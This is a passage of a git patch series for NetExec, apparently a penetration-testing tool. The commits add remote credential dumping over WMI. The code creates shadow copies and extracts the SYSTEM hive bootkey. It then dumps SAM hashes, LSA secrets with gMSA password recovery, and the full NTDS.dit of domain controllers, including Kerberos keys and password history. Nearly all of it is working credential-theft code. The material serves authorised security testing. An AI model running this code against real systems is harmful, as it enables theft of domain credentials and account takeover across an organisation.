self.namespaces[namespace] + + @property + def remote_ops(self): + if self._remote_ops is None: + self._remote_ops = RemoteOperations(self) + return self._remote_ops \ No newline at end of file diff --git a/nxc/protocols/wmi/remoteops.py b/nxc/protocols/wmi/remoteops.py new file mode 100644 index 0000000000..d2ddb24156 --- /dev/null +++ b/nxc/protocols/wmi/remoteops.py @@ -0,0 +1,80 @@ +from impacket.examples.secretsdump import LocalOperations + +class RemoteOperations: + def __init__(self, context, shadow_id:str = None): + self.context = context + + self.cimv2_namespace = self.context.get_namespace("//./root/cimv2") + + # Cached variables + self.bootkey = None + self._shadow_id = shadow_id + self._shadow_copy_path = None + + # Keep track if we created a Shadow Copy to delete it later + self.shadow_copy_created = False + + def __del__(self): + # If we created a Shadow Copy, delete it + if self.shadow_copy_created: + wmiPath = f'Win32_ShadowCopy.ID="{self.shadow_id}"' + self.context.logger.debug(f"Trying to delete ShadowCopy with ID {self.shadow_id}") + ret = self.cimv2_namespace.DeleteInstance(wmiPath) + if (ret.GetCallStatus(0) & 0xffffffff) != 0: + self.context.logger.fail(f"Could not delete ShadowCopy ID {self.shadow_id}. You will need to delete this by yourself.") + else: + self.context.logger.debug(f"ShadowCopy with ID {self.shadow_id} successfully deleted") + + def create_shadowcopy(self) -> str: + # Creating Shadow Volumes + shadow_id = None + try: + win32_shadow_copy, _ = self.cimv2_namespace.GetObject("Win32_ShadowCopy") + self.context.logger.debug("Trying to create SS remotely via WMI") + result = win32_shadow_copy.Create("C:\\", "ClientAccessible") + self.shadow_copy_created = True + shadow_id = result.ShadowID + self.context.logger.debug(f"Shadow Copy created at ID {shadow_id}") + except Exception as e: + self.context.logger.debug(f"Cannot create ShadowCopy: {e}") + return shadow_id + + def get_shadowcopy_path(self, shadow_id: str = None) -> str: + if shadow_id is None: + shadow_id = self.shadow_id + device_object = None + try: + iEnum_shadow_copies = self.cimv2_namespace.ExecQuery(f'SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = "{shadow_id}"') + obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0] + props = obj.getProperties() + shadow_copy = {k: v["value"] for k, v in props.items()} + device_object = shadow_copy['DeviceObject'] + self.context.logger.debug(f"Found ShadowCopy at {device_object}") + except Exception as e: + self.context.logger.debug(f"Cannot found ShadowCopy with ID {shadow_id} :{e}") + return device_object + + @property + def shadow_id(self): + if self._shadow_id is None: + self._shadow_id = self.create_shadowcopy() + return self._shadow_id + + @property + def shadow_copy_path(self): + if self._shadow_copy_path is None: + self._shadow_copy_path = self.get_shadowcopy_path() + return self._shadow_copy_path + + def get_bootkey(self, output_filename): + if self.bootkey is not None: + return self.bootkey + + system_hive_path = f"{self.shadow_copy_path}\\Windows\\System32\\config\\SYSTEM" + system_hive_recovered = self.context.get_file_single(system_hive_path, f"{output_filename}.system") + if system_hive_recovered: + self.context.logger.debug("Got SYSTEM hive") + + local_operations = LocalOperations(f"{output_filename}.system") + self.bootkey = local_operations.getBootKey() + return self.bootkey \ No newline at end of file From 65f4714953ea1509f3776f6e468cebd9cc391053 Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 27 Aug 2026 12:44:06 +0200 Subject: [PATCH 07/20] add ntds dump --- nxc/protocols/wmi.py | 133 ++++++++++++++++++++++++++++++-- nxc/protocols/wmi/proto_args.py | 13 ++++ nxc/protocols/wmi/remoteops.py | 10 ++- 3 files changed, 148 insertions(+), 8 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index df98f076fc..31b223fef0 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -1,18 +1,23 @@ import os import struct +import binascii +from Cryptodome.Hash import MD4 from io import StringIO from nxc.helpers.negotiate_parser import parse_challenge from nxc.config import process_secret from nxc.connection import connection, dcom_FirewallChecker, requires_admin +from nxc.helpers.misc import validate_ntlm from nxc.logger import NXCAdapter +from nxc.helpers.logger import highlight +from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.protocols.wmi import wmiexec, wmiexec_event from nxc.protocols.wmi.remoteops import RemoteOperations from impacket import ntlm from impacket.uuid import uuidtup_to_bin from impacket.krb5.ccache import CCache -from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes +from impacket.examples.secretsdump import LSASecrets, SAMHashes, NTDSHashes from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5 import transport, epm from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck @@ -427,11 +432,19 @@ def get_file(self): @requires_admin def sam(self): + def add_sam_hash(sam_hash): + self.logger.highlight(sam_hash) + if "_history" in sam_hash: + return + username, _, lmhash, nthash, _, _, _ = sam_hash.split(":") + add_sam_hash.sam_hashes += 1 + + add_sam_hash.sam_hashes = 0 + output_filename = self.output_file_template.format(output_folder="sam") bootkey = self.remote_ops.get_bootkey(output_filename) if bootkey is None: - self.logger.fail("Could not get Bootkey") return # Get the SAM hive @@ -444,19 +457,36 @@ def sam(self): f"{output_filename}.sam", bootkey, isRemote=None, - perSecretCallback=lambda secret: self.logger.highlight(secret), + history=self.args.history, + perSecretCallback=lambda secret: add_sam_hash(secret), ) self.logger.display("Dumping SAM hashes") SAM.dump() SAM.export(output_filename) + self.logger.success(f"Dumped {highlight(add_sam_hash.sam_hashes)} SAM hashes to {output_filename + '.sam'}") @requires_admin def lsa(self): + def add_lsa_secret(secret): + add_lsa_secret.secrets += 1 + self.logger.highlight(secret) + if "_SC_GMSA_{84A78B8C" in secret: + gmsa_id = secret.split("_")[4].split(":")[0] + data = bytes.fromhex(secret.split("_")[4].split(":")[1]) + blob = MSDS_MANAGEDPASSWORD_BLOB() + blob.fromString(data) + currentPassword = blob["CurrentPassword"][:-2] + ntlm_hash = MD4.new() + ntlm_hash.update(currentPassword) + passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8") + self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") + + add_lsa_secret.secrets = 0 + output_filename = self.output_file_template.format(output_folder="lsa") bootkey = self.remote_ops.get_bootkey(output_filename) if bootkey is None: - self.logger.fail("Could not get Bootkey") return # Get the LSA hive @@ -470,11 +500,104 @@ def lsa(self): bootkey, None, isRemote=None, - perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret), + perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), ) self.logger.display("Dumping LSA secrets") LSA.dumpCachedHashes() + LSA.exportCached(output_filename) LSA.dumpSecrets() + LSA.exportSecrets(output_filename) + self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {output_filename + '.secrets'} and {output_filename + '.cached'}") + + @requires_admin + def ntds(self): + printed_kerb_keys_banner = False + + def add_hash(secret_type, secret): + nonlocal printed_kerb_keys_banner + if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS: + self.logger.display("Kerberos keys:") + printed_kerb_keys_banner = True + + # Count the type of secrets + if secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS: + add_hash.kerb_secrets += 1 + else: + add_hash.nt_lm_secrets += 1 + + # Log the secret based on args + if self.args.enabled: + if "Enabled" in secret: + secret = " ".join(secret.split(" ")[:-1]) + self.logger.highlight(secret) + else: + secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret + self.logger.highlight(secret) + + # Filter out computer accounts, history hashes and kerberos keys for adding to db + if secret.find("$") == -1 and secret_type == NTDSHashes.SECRET_TYPE.NTDS and "_history" not in secret: + if secret.find("\\") != -1: + domain, clean_hash = secret.split("\\") + else: + domain = self.domain + clean_hash = secret + + try: + username, _, lmhash, nthash, _, _, _ = clean_hash.split(":") + parsed_hash = f"{lmhash}:{nthash}" + if validate_ntlm(parsed_hash): + add_hash.added_to_db += 1 + return + raise + except Exception: + self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)") + else: + self.logger.debug("Dumped hash is a computer account, not adding to db") + + add_hash.nt_lm_secrets = 0 + add_hash.kerb_secrets = 0 + add_hash.added_to_db = 0 + + output_filename = self.output_file_template.format(output_folder="ntds") + + bootkey = self.remote_ops.get_bootkey(output_filename) + if bootkey is None: + return + + # Get the LSA hive + lsa_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\NTDS\\ntds.dit" + if not self.get_file_single(lsa_hive_path, f"{output_filename}.ntds.dit"): + self.logger.fail("Could not get ntds.dit") + return + + NTDS = NTDSHashes( + f"{output_filename}.ntds.dit", + self.remote_ops.bootkey, + isRemote=False, + history=self.args.history, + noLMHash=True, + justNTLM=not self.args.kerberos_keys, + useVSSMethod=True, + remoteOps=None, + pwdLastSet=False, + resumeSession=None, + outputFileName=f"{output_filename}.ntds", + justUser=self.args.userntds if self.args.userntds else None, + printUserStatus=True, + perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret), + ) + + try: + self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...") + NTDS.dump() + ntds_outfile = f"{output_filename}.ntds" + self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile}") + if self.args.kerberos_keys: + self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos") + self.logger.display("To extract only enabled accounts from the output file, run the following command: ") + self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1") + except Exception as e: + self.logger.fail(e) @requires_admin def wmi_query(self, wql=None, namespace=None, callback_func=None): diff --git a/nxc/protocols/wmi/proto_args.py b/nxc/protocols/wmi/proto_args.py index 1d154bf4d5..6bbefcbf44 100644 --- a/nxc/protocols/wmi/proto_args.py +++ b/nxc/protocols/wmi/proto_args.py @@ -1,3 +1,6 @@ +from argparse import _StoreTrueAction +from nxc.helpers.args import get_conditional_action + def proto_args(parser, parents): wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", conflict_handler="resolve", parents=parents) wmi_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") @@ -13,6 +16,16 @@ def proto_args(parser, parents): cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)") cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") + cred_gathering_group.add_argument("--ntds", action="store_true", help="dump the NTDS.dit from target DCs") + ntds_arg = cred_gathering_group.add_argument("--ntds", action="store_true", help="dump the NTDS.dit from target DCs") + cred_gathering_group.add_argument("--history", action="store_true", help="Also retrieve password history (NTDS.dit or SAM)") + # NTDS options + kerb_keys_arg = cred_gathering_group.add_argument("--kerberos-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Kerberos AES and DES keys from target DC (NTDS.dit)") + exclusive = cred_gathering_group.add_mutually_exclusive_group() + enabled_arg = exclusive.add_argument("--enabled", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only dump enabled targets from DC (NTDS.dit)") + kerb_keys_arg.make_required = [ntds_arg] + enabled_arg.make_required = [ntds_arg] + cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)") egroup = wmi_parser.add_argument_group("Mapping/Enumeration") egroup.add_argument("--wmi-query", metavar="QUERY", dest="wmi_query", type=str, help="Issues the specified WMI query") diff --git a/nxc/protocols/wmi/remoteops.py b/nxc/protocols/wmi/remoteops.py index d2ddb24156..64becebaf3 100644 --- a/nxc/protocols/wmi/remoteops.py +++ b/nxc/protocols/wmi/remoteops.py @@ -1,3 +1,5 @@ +from binascii import hexlify + from impacket.examples.secretsdump import LocalOperations class RemoteOperations: @@ -74,7 +76,9 @@ def get_bootkey(self, output_filename): system_hive_recovered = self.context.get_file_single(system_hive_path, f"{output_filename}.system") if system_hive_recovered: self.context.logger.debug("Got SYSTEM hive") - - local_operations = LocalOperations(f"{output_filename}.system") - self.bootkey = local_operations.getBootKey() + local_operations = LocalOperations(f"{output_filename}.system") + self.bootkey = local_operations.getBootKey() + self.context.logger.debug(f"Got bootkey: 0x{hexlify(self.bootkey).decode('utf-8')}") + else: + self.context.logger.fail("Could not get bootkey") return self.bootkey \ No newline at end of file From 48cc6b0e30ce4ae05c6bbcccd854657a9887683e Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 27 Aug 2026 12:54:15 +0200 Subject: [PATCH 08/20] added --use-snapshot-id arg --- nxc/protocols/wmi.py | 2 +- nxc/protocols/wmi/proto_args.py | 1 + nxc/protocols/wmi/remoteops.py | 2 ++ 3 files changed, 4 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 31b223fef0..5530f49a68 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -737,5 +737,5 @@ def get_namespace(self, namespace:str) -> IWbemServices: @property def remote_ops(self): if self._remote_ops is None: - self._remote_ops = RemoteOperations(self) + self._remote_ops = RemoteOperations(self, shadow_id=self.args.shadow_id) return self._remote_ops \ No newline at end of file diff --git a/nxc/protocols/wmi/proto_args.py b/nxc/protocols/wmi/proto_args.py index 6bbefcbf44..aaefae9754 100644 --- a/nxc/protocols/wmi/proto_args.py +++ b/nxc/protocols/wmi/proto_args.py @@ -14,6 +14,7 @@ def proto_args(parser, parents): cred_gathering_group = wmi_parser.add_argument_group("Credential Gathering") cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)") + cred_gathering_group.add_argument("--use-snapshot-id", action="store", dest="shadow_id", help="Use an existing VSS snapshot ID for SAM, LSA and/or NTDS dump") cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") cred_gathering_group.add_argument("--ntds", action="store_true", help="dump the NTDS.dit from target DCs") diff --git a/nxc/protocols/wmi/remoteops.py b/nxc/protocols/wmi/remoteops.py index 64becebaf3..1a7fc45a68 100644 --- a/nxc/protocols/wmi/remoteops.py +++ b/nxc/protocols/wmi/remoteops.py @@ -10,6 +10,8 @@ def __init__(self, context, shadow_id:str = None): # Cached variables self.bootkey = None + if shadow_id is not None: + self.context.logger.display(f"Using existing VSS Snapshot ID: {shadow_id}") self._shadow_id = shadow_id self._shadow_copy_path = None From 34b7a35118bd9f009bc9a72a8d905395d03130e1 Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 27 Aug 2026 13:00:20 +0200 Subject: [PATCH 09/20] ruff --- nxc/protocols/wmi.py | 15 ++++++--------- nxc/protocols/wmi/proto_args.py | 1 + nxc/protocols/wmi/remoteops.py | 11 ++++++----- 3 files changed, 13 insertions(+), 14 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 5530f49a68..a766ab1f8b 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -374,7 +374,7 @@ def hash_login(self, domain, username, ntlm_hash): self.logger.success(out) return True - def read_file(self, remote_path) -> "None | bytes": + def read_file(self, remote_path) -> "bytes | None": self.logger.debug(f"Try reading file {remote_path}") escaped_path = remote_path.replace("\\", "\\\\") @@ -537,9 +537,8 @@ def add_hash(secret_type, secret): # Filter out computer accounts, history hashes and kerberos keys for adding to db if secret.find("$") == -1 and secret_type == NTDSHashes.SECRET_TYPE.NTDS and "_history" not in secret: if secret.find("\\") != -1: - domain, clean_hash = secret.split("\\") + _, clean_hash = secret.split("\\") else: - domain = self.domain clean_hash = secret try: @@ -718,14 +717,12 @@ def execute_psh(self, command=None, get_output=False): else: return output - def get_namespace(self, namespace:str) -> IWbemServices: - """ - Load WMI namespaces and place them in cache. If a namespace is already loaded in cache, return the namespace in cache - """ + def get_namespace(self, namespace: str) -> IWbemServices: + """Load WMI namespaces and place them in cache. If a namespace is already loaded in cache, return the namespace in cache""" if namespace in self.namespaces: return self.namespaces[namespace] self.logger.debug(f"Getting namespace {namespace}") - try: + try: iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL) self.iWbemLevel1Login.RemRelease() except Exception as e: @@ -738,4 +735,4 @@ def get_namespace(self, namespace:str) -> IWbemServices: def remote_ops(self): if self._remote_ops is None: self._remote_ops = RemoteOperations(self, shadow_id=self.args.shadow_id) - return self._remote_ops \ No newline at end of file + return self._remote_ops diff --git a/nxc/protocols/wmi/proto_args.py b/nxc/protocols/wmi/proto_args.py index aaefae9754..1413f814a8 100644 --- a/nxc/protocols/wmi/proto_args.py +++ b/nxc/protocols/wmi/proto_args.py @@ -1,6 +1,7 @@ from argparse import _StoreTrueAction from nxc.helpers.args import get_conditional_action + def proto_args(parser, parents): wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", conflict_handler="resolve", parents=parents) wmi_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") diff --git a/nxc/protocols/wmi/remoteops.py b/nxc/protocols/wmi/remoteops.py index 1a7fc45a68..da182e1e0d 100644 --- a/nxc/protocols/wmi/remoteops.py +++ b/nxc/protocols/wmi/remoteops.py @@ -2,12 +2,13 @@ from impacket.examples.secretsdump import LocalOperations + class RemoteOperations: - def __init__(self, context, shadow_id:str = None): + def __init__(self, context, shadow_id: None): self.context = context self.cimv2_namespace = self.context.get_namespace("//./root/cimv2") - + # Cached variables self.bootkey = None if shadow_id is not None: @@ -43,7 +44,7 @@ def create_shadowcopy(self) -> str: self.context.logger.debug(f"Cannot create ShadowCopy: {e}") return shadow_id - def get_shadowcopy_path(self, shadow_id: str = None) -> str: + def get_shadowcopy_path(self, shadow_id: None) -> str: if shadow_id is None: shadow_id = self.shadow_id device_object = None @@ -52,7 +53,7 @@ def get_shadowcopy_path(self, shadow_id: str = None) -> str: obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0] props = obj.getProperties() shadow_copy = {k: v["value"] for k, v in props.items()} - device_object = shadow_copy['DeviceObject'] + device_object = shadow_copy["DeviceObject"] self.context.logger.debug(f"Found ShadowCopy at {device_object}") except Exception as e: self.context.logger.debug(f"Cannot found ShadowCopy with ID {shadow_id} :{e}") @@ -83,4 +84,4 @@ def get_bootkey(self, output_filename): self.context.logger.debug(f"Got bootkey: 0x{hexlify(self.bootkey).decode('utf-8')}") else: self.context.logger.fail("Could not get bootkey") - return self.bootkey \ No newline at end of file + return self.bootkey From 78d607b84bfbc0a772f557421b3b5eaf7018ace7 Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 27 Aug 2026 16:35:55 +0200 Subject: [PATCH 10/20] fix issue with default shadow_id value --- nxc/protocols/wmi/remoteops.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/wmi/remoteops.py b/nxc/protocols/wmi/remoteops.py index da182e1e0d..01827a3d3c 100644 --- a/nxc/protocols/wmi/remoteops.py +++ b/nxc/protocols/wmi/remoteops.py @@ -4,7 +4,7 @@ class RemoteOperations: - def __init__(self, context, shadow_id: None): + def __init__(self, context, shadow_id=None): self.context = context self.cimv2_namespace = self.context.get_namespace("//./root/cimv2") @@ -44,7 +44,7 @@ def create_shadowcopy(self) -> str: self.context.logger.debug(f"Cannot create ShadowCopy: {e}") return shadow_id - def get_shadowcopy_path(self, shadow_id: None) -> str: + def get_shadowcopy_path(self, shadow_id=None) -> str: if shadow_id is None: shadow_id = self.shadow_id device_object = None From 5e95c3490ef1b7686588adab2c008ca65d1d1daa Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 9 Sep 2026 10:41:47 +0200 Subject: [PATCH 11/20] revert impacket dep to the original repo --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index c2a207ed00..e1361ab910 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -47,7 +47,7 @@ dependencies = [ "xmltodict>=0.13.0", # Git Dependencies "certipy-ad @ git+https://github.com/Pennyw0rth/Certipy", - "impacket @ git+https://github.com/Pennyw0rth/impacket#wmi_update", + "impacket @ git+https://github.com/fortra/impacket", "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", ] From 0de205c95f6cf89dcc83fc5ba56491dacea6285f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 9 Sep 2026 11:45:47 -0400 Subject: [PATCH 12/20] Fix lock files --- poetry.lock | 10 +++++----- uv.lock | 4 ++-- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/poetry.lock b/poetry.lock index ff28f0276f..d979f9df92 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1095,7 +1095,7 @@ all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] [[package]] name = "impacket" -version = "0.14.0.dev0+20260826.175120.d480b3e5" +version = "0.14.0.dev0+20260909.31915.a2d35007" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -1117,9 +1117,9 @@ six = "*" [package.source] type = "git" -url = "https://github.com/Pennyw0rth/impacket" -reference = "wmi_update" -resolved_reference = "d480b3e52c2de68c8835131c76709cf44867119f" +url = "https://github.com/fortra/impacket" +reference = "HEAD" +resolved_reference = "a2d35007c9717ce791f07efe99db63fd26386661" [[package]] name = "iniconfig" @@ -2993,4 +2993,4 @@ test = ["pytest", "pytest-cov"] [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "0d14ba58153ca84c0a373c8d9180f9d864bc600cf1f67fdabf680f338265172d" +content-hash = "13e80d1f520fc9b9581200e406586cc73197fda393fd66cd51692bd30c4a85c0" diff --git a/uv.lock b/uv.lock index b49b0e6a9e..ce38035345 100644 --- a/uv.lock +++ b/uv.lock @@ -932,8 +932,8 @@ wheels = [ [[package]] name = "impacket" -version = "0.14.0.dev0+20260814.164800.c23b3d55" -source = { git = "https://github.com/fortra/impacket#c23b3d55bc846a2460a459437601a94bfd25a269" } +version = "0.14.0.dev0+20260909.31915.a2d35007" +source = { git = "https://github.com/fortra/impacket#a2d35007c9717ce791f07efe99db63fd26386661" } dependencies = [ { name = "charset-normalizer" }, { name = "flask" }, From 467123465a0780d622e3306e91fd972fd7858ea0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 9 Sep 2026 11:48:41 -0400 Subject: [PATCH 13/20] Formatting --- nxc/protocols/wmi.py | 2 +- nxc/protocols/wmi/remoteops.py | 32 ++++++++++++++++---------------- 2 files changed, 17 insertions(+), 17 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index a766ab1f8b..4db7fb2955 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -374,7 +374,7 @@ def hash_login(self, domain, username, ntlm_hash): self.logger.success(out) return True - def read_file(self, remote_path) -> "bytes | None": + def read_file(self, remote_path) -> bytes | None: self.logger.debug(f"Try reading file {remote_path}") escaped_path = remote_path.replace("\\", "\\\\") diff --git a/nxc/protocols/wmi/remoteops.py b/nxc/protocols/wmi/remoteops.py index 01827a3d3c..2d4b196301 100644 --- a/nxc/protocols/wmi/remoteops.py +++ b/nxc/protocols/wmi/remoteops.py @@ -4,15 +4,15 @@ class RemoteOperations: - def __init__(self, context, shadow_id=None): - self.context = context + def __init__(self, connection, shadow_id=None): + self.connection = connection - self.cimv2_namespace = self.context.get_namespace("//./root/cimv2") + self.cimv2_namespace = self.connection.get_namespace("//./root/cimv2") # Cached variables self.bootkey = None if shadow_id is not None: - self.context.logger.display(f"Using existing VSS Snapshot ID: {shadow_id}") + self.connection.logger.display(f"Using existing VSS Snapshot ID: {shadow_id}") self._shadow_id = shadow_id self._shadow_copy_path = None @@ -23,25 +23,25 @@ def __del__(self): # If we created a Shadow Copy, delete it if self.shadow_copy_created: wmiPath = f'Win32_ShadowCopy.ID="{self.shadow_id}"' - self.context.logger.debug(f"Trying to delete ShadowCopy with ID {self.shadow_id}") + self.connection.logger.debug(f"Trying to delete ShadowCopy with ID {self.shadow_id}") ret = self.cimv2_namespace.DeleteInstance(wmiPath) if (ret.GetCallStatus(0) & 0xffffffff) != 0: - self.context.logger.fail(f"Could not delete ShadowCopy ID {self.shadow_id}. You will need to delete this by yourself.") + self.connection.logger.fail(f"Could not delete ShadowCopy ID {self.shadow_id}. You will need to delete this by yourself.") else: - self.context.logger.debug(f"ShadowCopy with ID {self.shadow_id} successfully deleted") + self.connection.logger.debug(f"ShadowCopy with ID {self.shadow_id} successfully deleted") def create_shadowcopy(self) -> str: # Creating Shadow Volumes shadow_id = None try: win32_shadow_copy, _ = self.cimv2_namespace.GetObject("Win32_ShadowCopy") - self.context.logger.debug("Trying to create SS remotely via WMI") + self.connection.logger.debug("Trying to create SS remotely via WMI") result = win32_shadow_copy.Create("C:\\", "ClientAccessible") self.shadow_copy_created = True shadow_id = result.ShadowID - self.context.logger.debug(f"Shadow Copy created at ID {shadow_id}") + self.connection.logger.debug(f"Shadow Copy created at ID {shadow_id}") except Exception as e: - self.context.logger.debug(f"Cannot create ShadowCopy: {e}") + self.connection.logger.debug(f"Cannot create ShadowCopy: {e}") return shadow_id def get_shadowcopy_path(self, shadow_id=None) -> str: @@ -54,9 +54,9 @@ def get_shadowcopy_path(self, shadow_id=None) -> str: props = obj.getProperties() shadow_copy = {k: v["value"] for k, v in props.items()} device_object = shadow_copy["DeviceObject"] - self.context.logger.debug(f"Found ShadowCopy at {device_object}") + self.connection.logger.debug(f"Found ShadowCopy at {device_object}") except Exception as e: - self.context.logger.debug(f"Cannot found ShadowCopy with ID {shadow_id} :{e}") + self.connection.logger.debug(f"Cannot found ShadowCopy with ID {shadow_id} :{e}") return device_object @property @@ -76,12 +76,12 @@ def get_bootkey(self, output_filename): return self.bootkey system_hive_path = f"{self.shadow_copy_path}\\Windows\\System32\\config\\SYSTEM" - system_hive_recovered = self.context.get_file_single(system_hive_path, f"{output_filename}.system") + system_hive_recovered = self.connection.get_file_single(system_hive_path, f"{output_filename}.system") if system_hive_recovered: - self.context.logger.debug("Got SYSTEM hive") + self.connection.logger.debug("Got SYSTEM hive") local_operations = LocalOperations(f"{output_filename}.system") self.bootkey = local_operations.getBootKey() - self.context.logger.debug(f"Got bootkey: 0x{hexlify(self.bootkey).decode('utf-8')}") + self.connection.logger.debug(f"Got bootkey: 0x{hexlify(self.bootkey).decode('utf-8')}") else: - self.context.logger.fail("Could not get bootkey") + self.connection.logger.fail("Could not get bootkey") return self.bootkey From 7fd40a391c53dfbacdde7e60d25fb43dd0503428 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 9 Sep 2026 11:51:41 -0400 Subject: [PATCH 14/20] Formatting --- nxc/protocols/wmi/remoteops.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/wmi/remoteops.py b/nxc/protocols/wmi/remoteops.py index 2d4b196301..fc1d350f77 100644 --- a/nxc/protocols/wmi/remoteops.py +++ b/nxc/protocols/wmi/remoteops.py @@ -41,7 +41,7 @@ def create_shadowcopy(self) -> str: shadow_id = result.ShadowID self.connection.logger.debug(f"Shadow Copy created at ID {shadow_id}") except Exception as e: - self.connection.logger.debug(f"Cannot create ShadowCopy: {e}") + self.connection.logger.fail(f"Cannot create ShadowCopy: {e}") return shadow_id def get_shadowcopy_path(self, shadow_id=None) -> str: @@ -56,7 +56,7 @@ def get_shadowcopy_path(self, shadow_id=None) -> str: device_object = shadow_copy["DeviceObject"] self.connection.logger.debug(f"Found ShadowCopy at {device_object}") except Exception as e: - self.connection.logger.debug(f"Cannot found ShadowCopy with ID {shadow_id} :{e}") + self.connection.logger.fail(f"Cannot find ShadowCopy with ID {shadow_id} :{e}") return device_object @property From b328661dd4e73dbd774097c53856b4a1a7627d40 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 9 Sep 2026 11:59:07 -0400 Subject: [PATCH 15/20] Formatting --- nxc/protocols/wmi.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 4db7fb2955..67cc5476ef 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -389,7 +389,7 @@ def read_file(self, remote_path) -> bytes | None: iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path) except DCERPCSessionError as e: if e.error_code == 0x80041002: - self.logger.debug(f"Cannot find {remote_path} file") + self.logger.fail(f"Cannot find file '{remote_path}'") return None obj = iWbemClassObject.getProperties() @@ -408,7 +408,6 @@ def read_file(self, remote_path) -> bytes | None: return bytes(file_data[4:4 + file_length]) def get_file_single(self, remote_path, download_path): - if self.args.append_host: download_path = f"{self.hostname}-{remote_path}" @@ -416,7 +415,6 @@ def get_file_single(self, remote_path, download_path): if file_data is None: return False else: - with open(download_path, "wb+") as file: file.write(file_data) return True From 0cc365cef26996c5086ed0dd5e69d2c7b8929624 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 9 Sep 2026 12:27:16 -0400 Subject: [PATCH 16/20] Formatting --- nxc/protocols/wmi.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 67cc5476ef..266cc7412f 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -435,6 +435,7 @@ def add_sam_hash(sam_hash): if "_history" in 